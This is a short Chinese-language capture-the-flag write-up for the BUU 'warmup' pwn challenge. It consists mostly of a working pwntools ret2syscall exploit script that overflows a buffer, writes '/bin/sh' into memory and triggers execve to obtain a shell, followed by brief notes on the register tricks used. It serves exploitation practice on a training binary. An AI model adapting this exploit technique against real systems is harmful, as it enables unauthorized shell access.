BUU-warmup(PWN)-WP
这道题做的特别难受,也浪费了很多时间,确实是状态太差了。最近有一点小失意,发现好像什么题都不会做了。
这道题就是一个简单的ret2syscall,直接看exp吧
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = 'debug')
sh = process("./warmup")
#sh = remote("node3.buuoj.cn","29084")
payload = 'a' * 0x20 #fill
payload += p32(0x0804811D) #return to sysread
payload += p32(0x0804815A) #sysread return to core again
payload += p32(0) #fd
payload += p32(0x080491BC) #read to data(injact /bin/sh)
payload += p32(9) #len
sh.sendafter("2016!",payload)
payload = '/bin/sh\x00'
sleep(0.2)
sh.send(payload)
payload = 'a' * 0x20
payload += p32(0x0804811D) #return to sysread
payload += p32(0x08048122) #avoid changing eax
payload += p32(0) #fd of read
payload += p32(0x80491BC) #ebx
payload += p32(0x8049210) #ecx point to \x00
sleep(0.2)
sh.send(payload)
sleep(0.2)
sh.send("/bin/sh\x00\x00\x00\x00")
sh.interactive()
两点解释一下
- 为什么要注入两次?
- 因为第一次注入后,若直接ret to 0x08048122,mov给edx的值不是零,两次注入的话,很巧的,栈中被赋给edx的值是零
- 为什么第二次注入的时候,长度是0x8049210?
- 这个值将来被赋值给ecx,ecx是execve_syscall中指向参数的(比如
gcc -v
,'-v'
就是参数),我们要shell,不应该有参数,所以让他执行一个值为空的、可访问的地址。
- 这个值将来被赋值给ecx,ecx是execve_syscall中指向参数的(比如